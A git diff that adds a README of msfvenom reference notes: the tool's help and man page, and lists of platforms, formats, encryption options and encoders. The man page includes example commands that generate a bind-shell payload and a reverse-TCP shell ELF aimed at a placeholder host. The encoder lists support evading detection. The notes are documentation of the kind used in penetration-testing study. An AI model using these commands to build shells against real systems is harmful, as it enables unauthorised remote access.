diff --git a/README.md b/README.md index 89ca535..2ec6b0f 100644 --- a/README.md +++ b/README.md @@ -1 +1,383 @@ # MSFVenom Notes +### Short Help +``` +Options: + -l, --list List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all + -p, --payload Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom + --list-options List --payload 's standard, advanced and evasion options + -f, --format Output format (use --list formats to list) + -e, --encoder The encoder to use (use --list encoders to list) + --service-name The service name to use when generating a service binary + --sec-name The new section name to use when generating large Windows binaries. Default: random 4-character alpha string + --smallest Generate the smallest possible payload using all available encoders + --encrypt The type of encryption or encoding to apply to the shellcode (use --list encrypt to list) + --encrypt-key A key to be used for --encrypt + --encrypt-iv An initialization vector for --encrypt + -a, --arch The architecture to use for --payload and --encoders (use --list archs to list) + --platform The platform for --payload (use --list platforms to list) + -o, --out Save the payload to a file + -b, --bad-chars Characters to avoid example: '\x00\xff' + -n, --nopsled Prepend a nopsled of [length] size on to the payload + --pad-nops Use nopsled size specified by -n as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length) + -s, --space The maximum size of the resulting payload + --encoder-space The maximum size of the encoded payload (defaults to the -s value) + -i, --iterations The number of times to encode the payload + -c, --add-code Specify an additional win32 shellcode file to include + -x, --template Specify a custom executable file to use as a template + -k, --keep Preserve the --template behaviour and inject the payload as a new thread + -v, --var-name Specify a custom variable name to use for certain output formats + -t, --timeout The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) + --refresh-cache Rebuild the module metadata cache from disk before listing + -h, --help Show this message +``` +### Man Page +``` +NAME + msfvenom - Payload Generator and Encoder + +SYNOPSIS + msfvenom [options] + +DESCRIPTION + Msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework in‐ + stance. Msfvenom has replaced both msfpayload and msfencode as of June 8th, 2015. + +OPTIONS + -p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom payloads + --payload-options List the payload's standard options + + -l, --list [module_type] + List a module type example: payloads, encoders, nops, all + + -n, --nopsled [length] + Prepend a nopsled of [length] size on to the payload + + -f, --format [format] + Output format (use --help-formats for a list) + + --help-formats + List available formats + + -e, --encoder [encoder] + The encoder to use + + -a, --arch [architecture] + The architecture to use + + --platform [platform] + The platform of the payload + Cisco or cisco, OSX or osx, Solaris or solaris, BSD or bsd, OpenBSD or openbsd, Firefox or firefox, BSDi or + bsdi, NetBSD or netbsd, NodeJS or nodejs, FreeBSD or freebsd, Python or python, AIX or aix, JavaScript or + javascript, HPUX or hpux, PHP or php, Irix or irix, Unix or unix, Linux or linux, Ruby or ruby, Java or + java, Android or android, Netware or netware, Windows or windows + + -s, --space [length] The maximum size of the resulting payload + --encoder-space [length] + The maximum size of the encoded payload (defaults to the -s value) + + -b, --bad-chars [list] + The list of characters to avoid example: '\x00\xff' + + -i, --iterations [count] + The number of times to encode the payload + + -c, --add-code [path] + Specify an additional win32 shellcode file to include + + -x, --template [path] + Specify a custom executable file to use as a template + + -k, --keep + Preserve the template behavior and inject the payload as a new thread + + -o, --out [path] + Save the payload + + -v, --var-name [name] + Specify a custom variable name to use for certain output formats + + --smallest + Generate the smallest possible payload + + -h, --help + Show this message + + --help-formats + List available formats + +EXAMPLE + msfvenom --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b "\x00" -f python + msfvenom --platform linux -p linux/x86/shell/reverse_tcp LHOST=w.z.y.z LPORT=443 -b "\x00" -f elf -o file.bin + + For more examples visit https://www.offensive-security.com/metasploit-unleashed/msfvenom + +SEE ALSO + msfcli(1) - deprecated - + msfconsole(1) + msfpayload(1) - deprecated - + msfencode(1) - deprecated - + +AUTHOR(S) + Creator + HD Moore - @hdmoore / hdm@metasploit.com + Man Page Author: Kali Linux™ File man page bug reports at https://bugs.kali.org + +COPYRIGHT + Copyright (C) 2006-2015, Rapid7 Inc. All rights reserved. + + Redistribution and use in source and binary forms, with or without modification, are permitted provided that the + following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of conditions and the fol‐ + lowing disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the + following disclaimer in the documentation and/or other materials provided with the distribution. + + * Neither the name of Rapid7 LLC nor the names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WAR‐ + RANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTIC‐ + ULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DI‐ + RECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOW‐ + EVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEG‐ + LIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBIL‐ + ITY OF SUCH DAMAGE. + + The Metasploit Framework is provided under the 3-clause BSD license above. + + The copyright on this package is held by Rapid7 LLC. + + This license does not apply to several components within the Metasploit Framework source tree. For more + details see the LICENSE file. +``` +### Platforms +``` +Framework Platforms [--platform ] +======================================== + + Name + ---- + aix + android + apple_ios + arista + brocade + bsd + bsdi + cisco + firefox + freebsd + hardware + hpux + irix + java + javascript + juniper + linux + mainframe + mikrotik + multi + netbsd + netware + nodejs + openbsd + osx + php + python + r + ruby + solaris + unifi + unix + unknown + windows +``` +### Archetectures +``` +Framework Architectures [--arch ] +======================================== + + Name + ---- + aarch64 + armbe + armle + cbea + cbea64 + cmd + dalvik + firefox + java + loongarch64 + mips + mips64 + mips64le + mipsbe + mipsle + nodejs + php + ppc + ppc64 + ppc64le + ppce500v2 + python + r + riscv32be + riscv32le + riscv64be + riscv64le + ruby + sparc + sparc64 + tty + x64 + x86 + x86_64 + zarch +``` +### Formats +Framework Executable Formats [--format ] +=============================================== + asp + aspx + aspx-exe + axis2 + dll + ducky-script-psh + elf + elf-so + exe + exe-only + exe-service + exe-small + hta-psh + jar + jsp + loop-vbs + macho + msi + msi-nouac + osx-app + psh + psh-cmd + psh-net + psh-reflection + python-reflection + vba + vba-exe + vba-psh + vbs + war +Framework Transform Formats [--format ] +============================================== + base32 + base64 + bash + c + csharp + dw + dword + go + golang + hex + java + js_be + js_le + masm + nim + nimlang + num + octal + perl + pl + powershell + ps1 + py + python + raw + rb + ruby + rust + rustlang + sh + vbapplication + vbscript + zig +``` +### Encryption +``` +Framework Encryption Formats [--encrypt ] +================================================ + aes256 + base64 + rc4 + xor +``` + +### Encoders +``` +Framework Encoders [--encoder ] +====================================== + + Name Rank Description + ---- ---- ----------- + cmd/base64 good Base64 Command Encoder + cmd/brace low Bash Brace Expansion Command Encoder + cmd/echo good Echo Command Encoder + cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder + cmd/ifs low Bourne ${IFS} Substitution Command Encoder + cmd/perl normal Perl Command Encoder + cmd/powershell_base64 excellent Powershell Base64 Command Encoder + cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder + generic/eicar manual The EICAR Encoder + generic/none normal The "none" Encoder + mipsbe/byte_xori normal Byte XORi Encoder + mipsbe/longxor normal XOR Encoder + mipsle/byte_xori normal Byte XORi Encoder + mipsle/longxor normal XOR Encoder + php/base64 great PHP Base64 Encoder + php/hex great PHP Hex Encoder + php/minify great PHP Minify Encoder + ppc/longxor normal PPC LongXOR Encoder + ppc/longxor_tag normal PPC LongXOR Encoder + ruby/base64 great Ruby Base64 Encoder + sparc/longxor_tag normal SPARC DWORD XOR Encoder + x64/xor normal XOR Encoder + x64/xor_context normal Hostname-based Context Keyed Payload Encoder + x64/xor_dynamic normal Dynamic key XOR Encoder + x64/zutto_dekiru manual Zutto Dekiru + x86/add_sub manual Add/Sub Encoder + x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder + x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder + x86/avoid_underscore_tolower manual Avoid underscore/tolower + x86/avoid_utf8_tolower manual Avoid UTF8/tolower + x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder + x86/bmp_polyglot manual BMP Polyglot + x86/call4_dword_xor normal Call+4 Dword XOR Encoder + x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder + x86/context_stat manual stat(2)-based Context Keyed Payload Encoder + x86/context_time manual time(2)-based Context Keyed Payload Encoder + x86/countdown normal Single-byte XOR Countdown Encoder + x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder + x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder + x86/nonalpha low Non-Alpha Encoder + x86/nonupper low Non-Upper Encoder + x86/opt_sub manual Sub Encoder (optimised) + x86/service manual Register Service + x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder + x86/single_static_bit manual Single Static Bit + x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder + x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder + x86/xor_dynamic normal Dynamic Key XOR Encoder + x86/xor_poly normal XOR POLY Encoder +``` + +## Links +- [Github Docs](https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-msfvenom.html) +- [Official Docs](https://www.offsec.com/metasploit-unleashed/msfvenom) + +## Copying +Creative Commons 0 Version 1.0 \ No newline at end of file